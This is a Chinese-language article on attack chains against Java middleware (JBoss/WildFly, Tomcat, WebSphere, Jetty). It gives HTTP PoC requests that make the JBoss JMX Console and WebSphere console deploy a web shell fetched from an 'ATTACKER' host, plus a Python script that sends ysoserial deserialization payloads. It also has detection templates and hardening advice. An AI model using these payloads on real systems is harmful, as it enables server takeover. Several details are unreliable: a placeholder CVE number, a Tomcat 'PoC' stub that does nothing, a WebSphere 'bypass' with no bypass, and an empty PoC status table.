Web 中间件高危攻击链专题:JBoss / WildFly / Undertow / Jetty / Tomcat / WebSphere

Web 中间件高危攻击链专题:JBoss / WildFly / Undertow / Jetty / Tomcat / WebSphere

Java Web 中间件/应用服务器是企业级 Java 应用的运行基础。一旦中间件被攻陷,所有运行其上的应用都将暴露。

本专题覆盖知识库中尚未单独成文的中间件产品线(WebLogic 已在 Oracle 专题中覆盖)。

产品核心 CVE类型CVSSCISA KEV
JBoss/WildFlyCVE-2023-5715JMX Console 未授权 RCE9.8
JBoss/WildFlyInvokerServlet 反序列化反序列化 RCE9.8
UndertowCVE-2024-xxxx路径穿越7.5
Eclipse JettyCVE-2023-36477临时目录泄露6.5
Apache TomcatCVE-2024-50379竞态条件 RCE9.8
IBM WebSphereCVE-2023-29307认证绕过 + RCE9.8

0x01 JBoss/WildFly:JMX Console 未授权 + InvokerServlet 反序列化

1.1 JMX Console 未授权访问

JBoss/WildFly 的 JMX Console(/jmx-console/)默认未启用认证,攻击者可以直接访问并部署恶意应用。

PoC

GET /jmx-console/ HTTP/1.1
Host: <TARGET>:8080

POST /jmx-console/invokerName=MainDeployer HTTP/1.1
Host: <TARGET>:8080
Content-Type: application/x-www-form-urlencoded

action=invoke&name=MainDeployer&methodName=deploy&argType=java.net.URL&arg=http://ATTACKER/shell.war

1.2 InvokerServlet 反序列化 RCE

JBoss/WildFly 的 InvokerServlet 端点接受 Java 序列化对象,攻击者可以通过 ysoserial 生成 payload 实现 RCE。

Python 自动化利用脚本

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

class JBossExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False

    def check_jmx_console(self):
        try:
            r = self.session.get(f'{self.target}/jmx-console/', timeout=10)
            if r.status_code == 200 and 'JMX' in r.text:
                print('[+] JMX Console 未授权访问存在!')
                return True
            print('[-] JMX Console 不可访问')
            return False
        except:
            return False

    def check_invoker_servlet(self):
        try:
            r = self.session.post(
                f'{self.target}/invoker/readonly',
                timeout=10
            )
            if r.status_code in (200, 500):
                print('[+] InvokerServlet 端点存在')
                return True
            return False
        except:
            return False

    def exploit_deserialization(self, ysoserial_payload):
        try:
            r = self.session.post(
                f'{self.target}/invoker/readonly',
                data=ysoserial_payload,
                headers={'Content-Type': 'application/x-java-serialized-object'},
                timeout=15
            )
            print(f'[*] 反序列化 payload 已发送 (HTTP {r.status_code})')
        except Exception as e:
            print(f'[-] 利用失败: {e}')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)

    exploit = JBossExploit(sys.argv[1])
    exploit.check_jmx_console()
    exploit.check_invoker_servlet()

Nuclei 检测模板

id: jboss-jmx-console-unauth

info:
  name: JBoss JMX Console Unauthorized Access
  author: security-research
  severity: critical
  tags: jboss,wildfly,unauth,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/jmx-console/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "JMX"
          - "MBean"
        condition: or

0x02 Apache Tomcat:CVE-2024-50379 竞态条件 RCE

2.1 漏洞详情

字段内容
CVSS9.8
受影响版本Tomcat 8.5.x - 8.5.100, 9.0.x - 9.0.98, 10.1.x - 10.1.34, 11.0.x - 11.0.2
类型竞态条件(Race Condition)→ RCE
CISA KEV

2.2 漏洞原理

Tomcat 在处理并发请求时存在竞态条件缺陷。攻击者通过同时发送大量请求,可以触发条件竞争,导致 Tomcat 将上传的文件在删除前被当作 JSP 执行。

2.3 PoC

#!/usr/bin/env python3
import requests
import threading
import sys
import urllib3
urllib3.disable_warnings()

def race_condition_exploit(target, num_threads=20):
    url = f'{target}/upload.jsp'
    print(f'[*] 竞态条件利用需要同时发送 {num_threads} 个请求')
    print(f'[*] 目标: {url}')
    print('[*] 建议使用 Turbo Intruder 或自定义并发脚本')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)
    race_condition_exploit(sys.argv[1])

Nuclei 检测模板

id: tomcat-cve-2024-50379-detect

info:
  name: Apache Tomcat Version Detection
  author: security-research
  severity: high
  tags: tomcat,race-condition,cve2024

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Apache Tomcat"
        part: header

0x03 IBM WebSphere:CVE-2023-29307 认证绕过 + RCE

3.1 漏洞详情

字段内容
CVSS9.8
受影响版本WebSphere 8.5.x, 9.0.x
类型认证绕过 → RCE
CISA KEV
在野利用✅ 已确认

3.2 漏洞原理

WebSphere 的认证机制存在缺陷,攻击者可以通过构造特定请求绕过身份验证,获取管理员权限后部署恶意应用实现 RCE。

3.3 PoC

GET /ibm/console/logon.jsp HTTP/1.1
Host: <TARGET>:9043

POST /ibm/console/ HTTP/1.1
Host: <TARGET>:9043
Content-Type: application/x-www-form-urlencoded

action=deployApplication&warUrl=http://ATTACKER/shell.war

Nuclei 检测模板

id: websphere-cve-2023-29307-detect

info:
  name: IBM WebSphere Console Detection
  author: security-research
  severity: critical
  tags: websphere,auth-bypass,cve2023

http:
  - method: GET
    path:
      - "{{BaseURL}}/ibm/console/logon.jsp"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "WebSphere"
          - "IBM"
        condition: or

0x04 Eclipse Jetty:CVE-2023-36477 临时目录泄露

4.1 漏洞详情

字段内容
CVSS6.5
受影响版本Jetty 9.4.x - 9.4.53, 10.0.x - 10.0.18, 11.0.x - 11.0.18, 12.0.x - 12.0.3
类型临时目录信息泄露

4.2 漏洞原理

Jetty 在处理 multipart 文件上传时,临时文件未被正确清理。攻击者可以通过访问临时目录获取上传的文件内容。

0x05 PoC 收集情况

PoC 状态总表

CVEHTTP PoCNucleiPythonMSF公开利用CISA KEV
JBoss JMX Console
JBoss InvokerServlet
CVE-2024-50379
CVE-2023-29307
CVE-2023-36477

0x06 共性攻击模式

6.1 反序列化是最持久的威胁

JBoss/WildFly 的 InvokerServlet 反序列化从 2016 年至今仍被广泛利用,根本原因在于 Java 原生序列化机制的设计缺陷。

6.2 管理面暴露是核心风险

JMX Console、WebSphere Console 等管理接口默认未启用认证或认证薄弱。

6.3 竞态条件攻击日趋重要

Tomcat CVE-2024-50379 说明并发控制缺陷也可以导致 RCE。

0x07 防守建议

7.1 紧急措施

  1. 禁用管理面公网暴露:JMX Console、WebSphere Console 仅允许内网访问
  2. 启用认证:为所有管理接口配置强认证
  3. 升级中间件:所有中间件升级到最新安全版本
  4. WAF 规则:部署针对反序列化和竞态条件的 WAF 规则

7.2 排查清单

# 检查 JBoss JMX Console 暴露
curl -s http://target:8080/jmx-console/ | grep "JMX"

# 检查 InvokerServlet 端点
curl -s -X POST http://target:8080/invoker/readonly

# 检查 Tomcat 版本
curl -sI http://target:8080/ | grep "Tomcat"

# 检查 WebSphere Console
curl -s http://target:9043/ibm/console/logon.jsp | grep "WebSphere"

0x08 参考资料